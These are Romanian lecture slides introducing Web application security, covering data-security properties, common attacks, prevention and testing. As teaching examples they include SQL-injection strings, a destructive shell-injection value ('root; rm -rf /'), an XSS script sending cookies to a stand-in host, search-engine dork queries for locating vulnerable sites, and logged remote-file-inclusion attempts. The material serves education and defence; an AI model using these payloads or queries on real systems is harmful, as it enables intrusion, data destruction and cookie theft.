SlideShare a Scribd company logo
1 of 37
Download to read offline
Tehnologii Web 2007




                          Programare Web
                      Introducere in securitate

                       Dr. Sabin-Corneliu Buraga
                              Facultatea de Informatica
                       Universitatea “A.I.Cuza” – Iasi, Romania

                      http://www.infoiasi.ro/~busaco/


                                                                  1
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      cuprins


                        •   Preliminarii
                        •   Aspecte privind securitatea datelor
                        •   Atacuri Web
                        •   Prevenirea & supravietuirea
                        •   Monitorizarea & testarea
                        •   De retinut

                                                                  2
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      preliminarii

                      • Incident de securitate ≡ eveniment aparut
                        in cadrul retelei, cu implicatii asupra
                        securitatii unui calculator sau a retelei
                        – Provenind din interiorul ori exteriorul retelei
                        – In cazul nostru, priveste serverul Web,
                          clientul Web si/sau alte componente software
                          aditionale (e.g., serverul de stocare a datelor)
                      • Multe protocoale de baza ale Internetului
                        (inclusiv HTTP) nu au luat in calcul
                        vulnerabilitatile ce pot surveni
                      • Cracker versus hacker
                                                                             3
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      preliminarii


                      • Vulnerabilitate ≡ slabiciune a unui sistem
                        hardware/software ce permite utilizatorilor
                        neautorizati sa aiba acces asupra sa

                      • Nici un sistem nu este 100% sigur
                      • Vulnerabilitatile apar si datorita
                        proastei administrari

                                                                      4
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      preliminarii
                      • Cauzele existentei vulnerabilitatilor
                        – Bug-uri (erori) existente in programe
                          (script-uri, servere Web, navigatoare,...),
                          introduse deseori neintentionat
                        – Ignorarea/nedocumentarea bug-urilor existente
                          (cunoscute)
                        – Configurarea necorespunzatoare a programelor,
                          serverelor si retelelor
                        – Lipsa suportului din partea producatorilor
                        – Comoditatea sau necunoasterea problemelor
                          de securitate de catre administrator ori
                          de conducerea organizatiei
                                                                          5
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      aspecte

                       • Aspecte privind securitatea datelor:
                         –Confidentialitatea
                         –Autentificarea
                         –Autorizarea
                         –Integritatea
                         –Nerepudierea
                         –Intimitatea (privacy)
                         –Disponibilitatea
                                                                6
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      aspecte

                      • Confidentialitatea
                        – Imposibilitatea unei terte entitati sa aiba acces
                          la datele vehiculate intre doi receptori
                        – Solutii:
                           • conexiuni private intre cele 2 puncte terminale
                             ale canalului de comunicatie; datele circula
                             printr-un tunel oferit de o retea privata
                             virtuala (VPN – Virtual Private Network)
                           • criptarea datelor via diverse tehnici
                             (biblioteci specializate si/sau oferite de
                             mediile de dezvoltare)
                                                                           7
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      aspecte

                      • Autentificarea
                        – Mecanism ce permite utilizatorilor sa acceseze
                          un serviciu dupa verificarea identitatii
                          utilizatorului (uzual, pe baza de nume + parola)
                        – Solutii:
                           • serverul Web ofera suport pentru autentificari
                             de baza sau bazate pe algoritmi de tip digest
                             (e.g., MD5)
                           • folosirea unor tehnici speciale
                             la nivel de aplicatie
                                                                          8
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      aspecte

                      • Autorizarea
                        – Specifica actiunile (rolurile) pe care un utilizator
                          le poate realiza; asociata autentificarii
                        – Se permite administratorului definirea politicilor
                          de control al accesului la servicii
                        – Solutii:
                           • drepturi de acces (permisiuni) + liste de control
                             al accesului (ACL – Access Control List)
                           • controlul accesului bazat pe roluri
                             (RBAC – Role-Based Access Control)
                           • tehnici de tip SSO (Single Sign-On) – e.g., OpenID
                                                                                  9
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      aspecte

                       • Integritatea
                         –In acest context, implica detectarea
                          incercarilor de modificare neautorizata
                          a datelor transmise
                         –Solutii:
                           • algoritmi de tip digest
                           • semnaturi digitale

                                                                    10
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      aspecte

                  • Nerepudierea
                      – Expeditorul mesajului nu poate afirma
                        ca nu l-a trimis
                      – Solutie: certificate digitale
                        • stocheaza datele privind identitatea unei
                          entitati detinatoare a unui secret (parola,    Infrastructura
                          serie a cartii de credit, certif. digital,…)   cu chei publice
                                                                         (PKI – Public
                        • emise de o autoritate de certificare
                                                                              Key
                          (CA – Certification Authority)
                                                                          Infrastruc.)
                        • verificate de o autoritate de inregistrare
                          (RA – Registration Authority)

                                                                                     11
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      aspecte

                      • Disponibilitatea
                        –O anumita resursa sa poata fi accesata
                         la momentul oportun
                        –Cauze ale indisponibilitatii:
                          • atacuri de refuz al serviciilor
                            DoS (Denial Of Service)
                          • atacuri distribuite
                            de tip DDoS (Distributed DoS)

                                                                  12
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      aspecte

                      • Intimitatea
                        – Confundata, deseori, cu confidentialitatea
                        – Vizeaza drepturile ce trebuie respectate privind
                          caracterul (subiectul) datelor vehiculate
                        – Brese:
                           • stocarea necorespunzatoare a datelor la nivel
                             de server (information disclosure)
                           • atacuri de tip XSS (Cross-Site Scripting)
                           • atacuri de tip phishing
                           • configurarea necorespunzatoare a sistemelor
                                                                             13
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      atacuri

                      • Securitatea Web trebuia sa ia in consideratie:
                        – Clientul: interactiune, date personale (cookie-uri),
                          transferuri asincrone (via AJAX),…
                        – Datele in tranzit: securitatea retelei, schimb sigur
                          de mesaje, ne-repudiere
                        – Serverul: securitatea serverului ori serverelor,
                          securitatea aplicatiilor, disponibilitatea serviciilor

                      • Atacurile pot viza oricare din cele 3 aspecte!

                                                                              14
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      atacuri
                      • SQL injection
                         –Scrierea unor interogari SQL care permit
                          afisarea, alterarea, stergerea de date
                          din baze de date via formulare Web ori
                          direct prin intermediul URI-ului
                        – Exemplu: select * from studs where name=$name and
                          pass=$pass cu $name preluat din formular: '' or 1=1 --
                        – Exemplu: http://www.sit.org/access_client.php?client=3
                          in script: select credit_card from clients where
                          client=$client
                          ce se intimpla daca URI-ul este
                          http://www.sit.org/access_client.php?client=client ?
                          dar daca in loc de select era un delete?
                                                                              15
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      atacuri
                      • SQL injection – variatii
                         – Crearea de interogari SQL incorecte pentru a avea
                           acces la mesaje de eroare “interesante”
                         – Exemplu: http://www.sit.org/prog.php?id=1+OR+gh=1
                         – Se poate obtine un mesaj precum:
                        [Microsoft][ODBC SQL Server Driver] [SQL Server]Invalid column name ’gh’.
                        SELECT group_id, securityName, maxSalesCharge, price,
                        security_id, trade_date FROM funds
                        WHERE group_id = 1 OR gh=1 ORDER BY price DESC
                        – Atacatorul poate continua, de pilda, cu
                          http://www.sit.org/prog.php?id=1;DELETE+FROM+funds+--
                        – Solutii: proceduri stocate, neutralizarea
                          meta-caracterelor SQL, prepared statements,…
                                                                                                    16
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      atacuri
                      • Shell command injection
                        – Posibilitatea de a rula comenzi externe din cadrul
                          script-urilor CGI
                        – Exemplu: fie liniile Perl
                         $utiliz = $form{quot;numequot;};
                         print `finger $utiliz`;
                        – Ce se intimpla daca din formular se preia
                          root; rm –rf / ?
                        – Idem si pentru programe scrise in alte limbaje
                          interpretate (e.g., PHP) sau chiar cele C
                          – poisonous null-byte attack

                                                                           17
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      atacuri
                      • Cross-Site Scripting (XSS)
                        – “Injectarea” in cadrul sistemului,
                          pentru executia direct in browser,
                          a script-urilor JavaScript/VBScript
                           • Functioneaza mai ales in cadrul siturilor Web
                             permitind interactiunea cu utilizatorul
                             (e.g., forumuri, blog-uri, wiki-uri)
                           • Poate conduce si la furtul identitatii (phishing)
                             sau la plasarea de cod malware la client:
                             Cross-Site Request Forgery

                                                                             18
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      atacuri
                      • Cross-Site Scripting (XSS)
                        – Exemplu: <img src=“javascript:cod” />
                          ce redirectioneaza utilizatorul spre alt sit, preia
                          valori de cookie-uri ori blocheaza browser-ul
                        – Alte exemple:
                          <script>
                            document.location.replace (
                             quot;http://www.sit.org/furt.phpquot; + quot;?c=quot; + document.cookie);
                          </script>

                          <script>
                            for (i = 0; i < 3000; i++)
                             window.open (quot;http://www.sit.org/quot;);
                          </script>

                                                                                         19
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      atacuri

                      • Cross-Site Scripting (XSS) – variatii
                        – Folosirea de cod JavaScript pentru a modifica
                          textul redat de navigatorul Web utilizatorului
                        – Adoptarea de tehnici de social engineering:
                          manipularea utilizatorilor de catre atacator
                          (prin intimidare, santaj, autoritate, flatare,
                          substitutie de persoana, vanitate etc.)
                        – Furtul de parole
                        – Solutii: inhibarea folosirii tag-urilor HTML,
                          HTML escaping, filtrarea marcatorilor, separarea
                          prezentarii datelor de procesarea efectiva etc.
                                                                           20
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      atacuri

                      • O problema o pot cauza URI/IRI-urile
                        (revezi cursul 1)
                        – Exemplu: http://www.google.com@63. 241.3.69/
                        – Codificarea defectuoasa a codurilor hexa
                          ⇒ vulnerabilitati in cadrul unor servere Web
                        – Includerea caracterelor Unicode – probleme la
                          decodificarea URL-urilor considerate “sigure”
                        – Siturile avind domenii internationale
                          (IDN – International Domain Names)
                          – atacuri bazate pe homografie
                                                                          21
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      atacuri

                      • O alta problema: folosirea parolelor
                        – 93% din procesele de autentificare folosesc parole
                        – Cu cit utilizatorul trebuie sa retina mai multe
                          parole, cu atit sistemul de protectie via parole
                          e predispus la brese in securitate:
                           •   Alegerea unor parole slabe
                           •   Partajarea parolelor (grupuri de prieteni, colegi,...)
                           •   Scrierea parolelor pe hirtie (eventual, la vedere)
                           •   Folosirea unei aceleasi parole timp indelungat,
                               pentru mai multe aplicatii/sisteme
                        – Solutii: Single Sign-On (SSO),
                          identificare biometrica etc.
                                                                                        22
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      atacuri


                      • O alta problema: troienii Web
                        – Situri (adrese) aparent folositoare
                        – Se pot folosi in conjunctie cu XSS sau
                          tehnici de tip social engineering
                        – Solutie: implementarea unui sistem de tichete
                          (ticket system) – fiecare actiune ce poate fi
                          realizata de utilizator are asociat un tichet
                          (numar) aleatoriu, folosit o singura data


                                                                          23
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      atacuri

                      • Detectarea posibilelor vulnerabilitati
                        (datorate unor configuratii incorecte ori
                        implicite ale serverelor si/sau
                        aplicatiilor Web) se poate realiza
                        apelind la un motor de cautare
                        –Vezi si proiectul “Google Hack” Honeypot:
                         http://ghh.sourceforge.net/


                                                                 24
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      atacuri
                  • Exemple de actiuni:
                      – Detectia versiunilor de programe
                        avind bug-uri cunoscute: “Apache/2.0.52 server at”
                      – Accesul la fisiere .bak: inurl:index.php.bak
                      – Accesarea intranet-ului: intitle:intranet
                      – “Vinarea” de e-mail-uri:
                        “@gmail.com” –www.gmail.com
                      – Detectarea paginilor de administrare: “admin login”
                      – Gasirea unor instalari implicite:
                        intitle:”welcome to” intitle:internet IIS
                      – Localizarea interfetelor spre sistemele
                        de baze de date: inurl:main.php phpMyAdmin
                                                                         25
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      atacuri
                  • Exemple de actiuni (continuare):
                      – Localizarea siturilor bazate pe aplicatii Web
                        recunoscute ca fiind vulnerabile: inurl:custva.asp
                      – Cautarea de aplicatii instalate pe diverse masini
                        sau a fisierelor de jurnalizare:
                        inurl:error.log +filetype:log –cvs
                      – Gasirea numelor de utilizatori:
                        filetype:conf inurl:proftpd.conf –sample
                      – Cautarea unor mesaje de eroare generate de
                        aplicatii/servere de baze de date:
                        “ASP.NET_SessionId” “data source=”
                      – Vezi si http://johnny.ihackstuff.com/
                                                                             26
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      prevenirea

                      • Tehnici:
                        – Nivelul retea: firewall-uri
                        – Nivel de transport: TLS (Transport Layer
                          Security) – autentificarea & confidentialitatea
                          mesajelor HTTP
                           • Autentificare via certificate digitale
                           • Confidentialitate via criptare
                        – Nivel de aplicatie:
                          securitate persistenta a mesajelor vehiculate


                                                                            27
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                       prevenirea
                      • Studiu de caz: consultarea fisierelor de jurnalizare
                      194.87.32.44 quot;GET /~sd/components/com_forum/download.php?
                         phpbb_root_path=http://ccfish.biz/c.txt? HTTP/1.1quot; 404 1015
                      83.169.102.168 quot;GET /~fl/An1/template.php?
                         name=http://members.lycos.co.uk/djomlauhc/x.dat? HTTP/1.1quot; 404 1015
                      89.37.44.128 quot;GET /common/labs.xsl HTTP/1.1quot; 404 1192
                      84.9.62.22 quot;GET /edit.vip.tpe.yahoo.com/config/isp_verify_user?
                         l=voodoostri&p=6969 HTTP/1.1quot; 404 1158
                      194.109.52.127 quot;GET /~ad/templates/pb/language/lang_nl.php?
                         temppath=http://blog1564448.123-reg-blogs.co.uk/c.txt? HTTP/1.1quot; 404 1015
                      86.54.21.123 quot;GET /MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=2614
                         &STRMVER=4&CAPREQ=0 HTTP/1.0quot; 404 1015
                      86.54.21.123 quot;GET /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=2614
                         &STRMVER=4&CAPREQ=0 HTTP/1.0quot; 404 1015
                                                                                                28
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      supravietuirea

                      • Supravietuirea ≡ capacitatea unui sistem
                        (calculator/retea) de a-si indeplini misiunea, in timp
                        util, in pofida atacurilor, defectelor sau accidentelor
                      • Atac ≡ eveniment potential distrugator provocat
                        intentionat de persoane rau-voitoare
                      • Defect ≡ eveniment potential distrugator cauzat de
                        deficiente ale sistemului sau ale unui factor
                        de care depinde sistemul (e.g., defecte hardware,
                        bug-uri software, erori ale utilizatorilor)
                      • Accident ≡ evenimente aleatoare (neprevazute);
                        exemple: dezastre naturale sau caderi de tensiune
                                                                             29
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      supravietuirea

                      • Sistemul trebuie sa-si duca pina la capat
                        misiunea chiar daca unele componente sau
                        parti din sistem sint afectate ori scoase din uz
                        – Exemplu: oferirea unei copii read-only
                          a forumului de discutii sau blog-ului asociat
                          unui domeniu/produs
                      • Sistemul trebuie sa sustina macar
                        indeplinirea functiilor vitale (mission-critical)
                        – Identificarea serviciilor esentiale
                          (e.g., acces la lista produselor in cazul unui sit de
                          comert electronic)
                                                                              30
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      supravietuirea
                      • Proprietati ale sistemului:
                        – Rezistenta la atacuri ≡ strategii de respingere
                          a atacului (i.e. validarea obligatorie a datelor
                          – via expresii regulate, scheme XML etc., autentificarea
                          utilizatorilor, acordarea privilegiilor minime)
                        – Recunoasterea atacurilor si efectelor lor
                          ≡ strategii pentru restaurarea informatiilor, limi-
                          tarea efectelor, mentinerea/restaurarea serviciilor
                          compromise
                          (e.g., recurgerea la ferme de servere Web – Web farms,
                          RAID, SAN (Storage Area Network), backup-uri,...)
                        – Adaptarea la atacuri ≡ strategii pentru
                          imbunatatirea nivelului (sansei) de supravietuire
                          (invatarea din greseli)
                                                                                     31
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      monitorizare & testare
                      • Teste de verificare a:
                        – Capacitatii de deservire a clientilor
                        – Robustetei
                        – Rularii in situatii extreme
                      • Se iau in consideratie:
                        – Tipul navigatorului (+setarile implicite)
                        – Platforma (hardware, sistem de operare,...)
                        – Interfata (rezolutia ecranului, adincimea de
                          culoare, largimea de banda,...)
                        – Politica de caching (+siguranta proxy-ului)
                        – Suportul pentru redarea unor tipuri de
                          documente (securitatea folosirii plugin-urilor)
                        – Limbajul/limbajele de programare utilizate
                          (inclusiv, serverul/serverele de aplicatii)
                                                                            32
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      de retinut

                      • Securitatea unei aplicatii Web:
                        – Trebuie sa ia in consideratie arhitectura, logica,
                          codul-sursa si continutul in ansamblu
                        – Nu vizeaza vulnerabilitatile sistemului de operare
                          ori ale programelor auxiliare
                      • Vulnerabilitatile unui sit nu sint “celebre” si
                        vor fi independente deseori de securitatea
                        sistemului pe care este exploatat situl

                                                                           33
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      de retinut

                      • Tipuri de vulnerabilitati specifice:
                        –Probleme de autentificare
                        –Managementul sesiunilor
                        –Injectarea de scripturi (XSS)
                         ori comenzi SQL
                        –Expunerea (involuntara) a informatiilor
                         delicate (information disclosure)
                        –Accesul la codul-sursa ori la fisierele de
                         configurare a aplicatiei Web
                                                                      34
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      de retinut

                      • Riscurile de securitate nu vizeaza numai
                        proprietarul sitului, ci si utilizatorul final
                      • Disconforturi cauzate de un sit nesigur:
                        – Financiare (pierdere de bani/informatii)
                        – De performanta
                          (blocarea navigatorului, incetinirea actiunilor,...)
                        – Psihologice (insatisfactie)
                        – Sociale (e.g., incapacitatea de munca,
                          lipsa comunicarii cu partenerii de lucru etc.)
                        – De timp
                          (navigare greoaie, deturnare spre alt sit,...)
                                                                             35
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007


                      rezumat


                         •   Preliminarii
                         •   Aspecte privind securitatea datelor
                         •   Atacuri Web
                         •   Prevenirea & supravietuirea
                         •   Monitorizarea & testarea
                         •   De retinut

                                                                   36
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
Tehnologii Web 2007




                      Intrebari…?


                                                     37
  Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

More Related Content

Similar to Programare Web (Introducere in securitate)

IT Security by provision security distribution
IT Security by provision security distributionIT Security by provision security distribution
IT Security by provision security distributionJulian Medeleanu MBA
 
Computer Networks. P2P
Computer Networks. P2PComputer Networks. P2P
Computer Networks. P2PSabin Buraga
 
10 server security_ro
10 server security_ro10 server security_ro
10 server security_romcroitor
 
Sabin Buraga - Web: To Be Continued
Sabin Buraga - Web: To Be ContinuedSabin Buraga - Web: To Be Continued
Sabin Buraga - Web: To Be ContinuedSabin Buraga
 
AJAX - back to the future
AJAX - back to the futureAJAX - back to the future
AJAX - back to the futureSabin Buraga
 
Interactiune om-calculator (Educarea & instruirea utilizatorilor)
Interactiune om-calculator (Educarea & instruirea utilizatorilor)Interactiune om-calculator (Educarea & instruirea utilizatorilor)
Interactiune om-calculator (Educarea & instruirea utilizatorilor)Sabin Buraga
 
Ce înseamnă să fii dezvoltator Web
Ce înseamnă să fii dezvoltator WebCe înseamnă să fii dezvoltator Web
Ce înseamnă să fii dezvoltator WebSabin Buraga
 
CLIW 2015-2016 (12/13) Performanța aplicaţiilor Web la nivel de client
CLIW 2015-2016 (12/13) Performanța aplicaţiilor Web la nivel de clientCLIW 2015-2016 (12/13) Performanța aplicaţiilor Web la nivel de client
CLIW 2015-2016 (12/13) Performanța aplicaţiilor Web la nivel de clientSabin Buraga
 
WADe 2014—2015 (03/12): Arhitectura aplicaţiilor Web orientate spre servicii
WADe 2014—2015 (03/12): Arhitectura aplicaţiilor Web orientate spre serviciiWADe 2014—2015 (03/12): Arhitectura aplicaţiilor Web orientate spre servicii
WADe 2014—2015 (03/12): Arhitectura aplicaţiilor Web orientate spre serviciiSabin Buraga
 
Solutii complete de securitate
Solutii complete de securitateSolutii complete de securitate
Solutii complete de securitateFreelance PR
 
Dezvoltator Web?! (varianta 2015)
Dezvoltator Web?! (varianta 2015)Dezvoltator Web?! (varianta 2015)
Dezvoltator Web?! (varianta 2015)Sabin Buraga
 
Web 2016 (03/13) Programare Web – Servere de aplicații. Arhitectura aplicații...
Web 2016 (03/13) Programare Web – Servere de aplicații. Arhitectura aplicații...Web 2016 (03/13) Programare Web – Servere de aplicații. Arhitectura aplicații...
Web 2016 (03/13) Programare Web – Servere de aplicații. Arhitectura aplicații...Sabin Buraga
 
STAW 01/12: Arhitectura aplicaţiilor Web
STAW 01/12: Arhitectura aplicaţiilor WebSTAW 01/12: Arhitectura aplicaţiilor Web
STAW 01/12: Arhitectura aplicaţiilor WebSabin Buraga
 
Dezvoltarea aplicațiilor Web (2/12): Dezvoltarea de servicii Web în stilul REST
Dezvoltarea aplicațiilor Web (2/12): Dezvoltarea de servicii Web în stilul RESTDezvoltarea aplicațiilor Web (2/12): Dezvoltarea de servicii Web în stilul REST
Dezvoltarea aplicațiilor Web (2/12): Dezvoltarea de servicii Web în stilul RESTSabin Buraga
 
Dezvoltarea aplicațiilor Web (3/12): Arhitectura aplicaţiilor Web orientate s...
Dezvoltarea aplicațiilor Web (3/12): Arhitectura aplicaţiilor Web orientate s...Dezvoltarea aplicațiilor Web (3/12): Arhitectura aplicaţiilor Web orientate s...
Dezvoltarea aplicațiilor Web (3/12): Arhitectura aplicaţiilor Web orientate s...Sabin Buraga
 

Similar to Programare Web (Introducere in securitate) (15)

IT Security by provision security distribution
IT Security by provision security distributionIT Security by provision security distribution
IT Security by provision security distribution
 
Computer Networks. P2P
Computer Networks. P2PComputer Networks. P2P
Computer Networks. P2P
 
10 server security_ro
10 server security_ro10 server security_ro
10 server security_ro
 
Sabin Buraga - Web: To Be Continued
Sabin Buraga - Web: To Be ContinuedSabin Buraga - Web: To Be Continued
Sabin Buraga - Web: To Be Continued
 
AJAX - back to the future
AJAX - back to the futureAJAX - back to the future
AJAX - back to the future
 
Interactiune om-calculator (Educarea & instruirea utilizatorilor)
Interactiune om-calculator (Educarea & instruirea utilizatorilor)Interactiune om-calculator (Educarea & instruirea utilizatorilor)
Interactiune om-calculator (Educarea & instruirea utilizatorilor)
 
Ce înseamnă să fii dezvoltator Web
Ce înseamnă să fii dezvoltator WebCe înseamnă să fii dezvoltator Web
Ce înseamnă să fii dezvoltator Web
 
CLIW 2015-2016 (12/13) Performanța aplicaţiilor Web la nivel de client
CLIW 2015-2016 (12/13) Performanța aplicaţiilor Web la nivel de clientCLIW 2015-2016 (12/13) Performanța aplicaţiilor Web la nivel de client
CLIW 2015-2016 (12/13) Performanța aplicaţiilor Web la nivel de client
 
WADe 2014—2015 (03/12): Arhitectura aplicaţiilor Web orientate spre servicii
WADe 2014—2015 (03/12): Arhitectura aplicaţiilor Web orientate spre serviciiWADe 2014—2015 (03/12): Arhitectura aplicaţiilor Web orientate spre servicii
WADe 2014—2015 (03/12): Arhitectura aplicaţiilor Web orientate spre servicii
 
Solutii complete de securitate
Solutii complete de securitateSolutii complete de securitate
Solutii complete de securitate
 
Dezvoltator Web?! (varianta 2015)
Dezvoltator Web?! (varianta 2015)Dezvoltator Web?! (varianta 2015)
Dezvoltator Web?! (varianta 2015)
 
Web 2016 (03/13) Programare Web – Servere de aplicații. Arhitectura aplicații...
Web 2016 (03/13) Programare Web – Servere de aplicații. Arhitectura aplicații...Web 2016 (03/13) Programare Web – Servere de aplicații. Arhitectura aplicații...
Web 2016 (03/13) Programare Web – Servere de aplicații. Arhitectura aplicații...
 
STAW 01/12: Arhitectura aplicaţiilor Web
STAW 01/12: Arhitectura aplicaţiilor WebSTAW 01/12: Arhitectura aplicaţiilor Web
STAW 01/12: Arhitectura aplicaţiilor Web
 
Dezvoltarea aplicațiilor Web (2/12): Dezvoltarea de servicii Web în stilul REST
Dezvoltarea aplicațiilor Web (2/12): Dezvoltarea de servicii Web în stilul RESTDezvoltarea aplicațiilor Web (2/12): Dezvoltarea de servicii Web în stilul REST
Dezvoltarea aplicațiilor Web (2/12): Dezvoltarea de servicii Web în stilul REST
 
Dezvoltarea aplicațiilor Web (3/12): Arhitectura aplicaţiilor Web orientate s...
Dezvoltarea aplicațiilor Web (3/12): Arhitectura aplicaţiilor Web orientate s...Dezvoltarea aplicațiilor Web (3/12): Arhitectura aplicaţiilor Web orientate s...
Dezvoltarea aplicațiilor Web (3/12): Arhitectura aplicaţiilor Web orientate s...
 

More from Sabin Buraga

Web 2020 01/12: World Wide Web – aspecte arhitecturale
Web 2020 01/12: World Wide Web – aspecte arhitecturaleWeb 2020 01/12: World Wide Web – aspecte arhitecturale
Web 2020 01/12: World Wide Web – aspecte arhitecturaleSabin Buraga
 
Web 2020 02/12: Programare Web – HTTP. Cookie-uri. Sesiuni Web
Web 2020 02/12: Programare Web – HTTP. Cookie-uri. Sesiuni WebWeb 2020 02/12: Programare Web – HTTP. Cookie-uri. Sesiuni Web
Web 2020 02/12: Programare Web – HTTP. Cookie-uri. Sesiuni WebSabin Buraga
 
Web 2020 03/12: Programare Web – Arhitectura aplicaţiilor Web. Inginerie Web
Web 2020 03/12: Programare Web – Arhitectura aplicaţiilor Web. Inginerie WebWeb 2020 03/12: Programare Web – Arhitectura aplicaţiilor Web. Inginerie Web
Web 2020 03/12: Programare Web – Arhitectura aplicaţiilor Web. Inginerie WebSabin Buraga
 
Web 2020 04/12: Programare Web – Dezvoltarea aplicaţiilor Web în PHP
Web 2020 04/12: Programare Web – Dezvoltarea aplicaţiilor Web în PHP Web 2020 04/12: Programare Web – Dezvoltarea aplicaţiilor Web în PHP
Web 2020 04/12: Programare Web – Dezvoltarea aplicaţiilor Web în PHP Sabin Buraga
 
Web 2020 05/12: Modelarea datelor. Familia XML. Extragerea datelor cu XPath. ...
Web 2020 05/12: Modelarea datelor. Familia XML. Extragerea datelor cu XPath. ...Web 2020 05/12: Modelarea datelor. Familia XML. Extragerea datelor cu XPath. ...
Web 2020 05/12: Modelarea datelor. Familia XML. Extragerea datelor cu XPath. ...Sabin Buraga
 
Web 2020 06/12: Procesarea datelor XML & HTML. Document Object Model
Web 2020 06/12: Procesarea datelor XML & HTML. Document Object ModelWeb 2020 06/12: Procesarea datelor XML & HTML. Document Object Model
Web 2020 06/12: Procesarea datelor XML & HTML. Document Object ModelSabin Buraga
 
Web 2020 07/12: Procesarea datelor XML & HTML – Simple API for XML. Procesări...
Web 2020 07/12: Procesarea datelor XML & HTML – Simple API for XML. Procesări...Web 2020 07/12: Procesarea datelor XML & HTML – Simple API for XML. Procesări...
Web 2020 07/12: Procesarea datelor XML & HTML – Simple API for XML. Procesări...Sabin Buraga
 
Web 2020 08/12: Servicii Web. De la arhitecturi orientate spre servicii la SO...
Web 2020 08/12: Servicii Web. De la arhitecturi orientate spre servicii la SO...Web 2020 08/12: Servicii Web. De la arhitecturi orientate spre servicii la SO...
Web 2020 08/12: Servicii Web. De la arhitecturi orientate spre servicii la SO...Sabin Buraga
 
Web 2020 09/12: Servicii Web. Paradigma REST
Web 2020 09/12: Servicii Web. Paradigma RESTWeb 2020 09/12: Servicii Web. Paradigma REST
Web 2020 09/12: Servicii Web. Paradigma RESTSabin Buraga
 
Web 2020 10/12: Servicii Web. Micro-servicii. Serverless. Specificarea API-ur...
Web 2020 10/12: Servicii Web. Micro-servicii. Serverless. Specificarea API-ur...Web 2020 10/12: Servicii Web. Micro-servicii. Serverless. Specificarea API-ur...
Web 2020 10/12: Servicii Web. Micro-servicii. Serverless. Specificarea API-ur...Sabin Buraga
 
Web 2020 11/12: Interacţiune Web asincronă. Aplicaţii Web de tip mash-up. JAM...
Web 2020 11/12: Interacţiune Web asincronă. Aplicaţii Web de tip mash-up. JAM...Web 2020 11/12: Interacţiune Web asincronă. Aplicaţii Web de tip mash-up. JAM...
Web 2020 11/12: Interacţiune Web asincronă. Aplicaţii Web de tip mash-up. JAM...Sabin Buraga
 
STAW 02/12: Programare Web: Limbajul JavaScript. Aspecte esenţiale
STAW 02/12: Programare Web: Limbajul JavaScript. Aspecte esenţialeSTAW 02/12: Programare Web: Limbajul JavaScript. Aspecte esenţiale
STAW 02/12: Programare Web: Limbajul JavaScript. Aspecte esenţialeSabin Buraga
 
STAW 03/12: Programare Web: Limbajul JavaScript. Aspecte moderne: ES6 et al.
STAW 03/12: Programare Web: Limbajul JavaScript. Aspecte moderne: ES6 et al.STAW 03/12: Programare Web: Limbajul JavaScript. Aspecte moderne: ES6 et al.
STAW 03/12: Programare Web: Limbajul JavaScript. Aspecte moderne: ES6 et al.Sabin Buraga
 
STAW 04/12: Programare Web: Node.js
STAW 04/12: Programare Web: Node.jsSTAW 04/12: Programare Web: Node.js
STAW 04/12: Programare Web: Node.jsSabin Buraga
 
STAW 05/12: Arhitectura navigatorului Web
STAW 05/12: Arhitectura navigatorului WebSTAW 05/12: Arhitectura navigatorului Web
STAW 05/12: Arhitectura navigatorului WebSabin Buraga
 
STAW 06/12: JavaScript în navigatorul Web. De la DOM la Ajax şi mash-up-uri
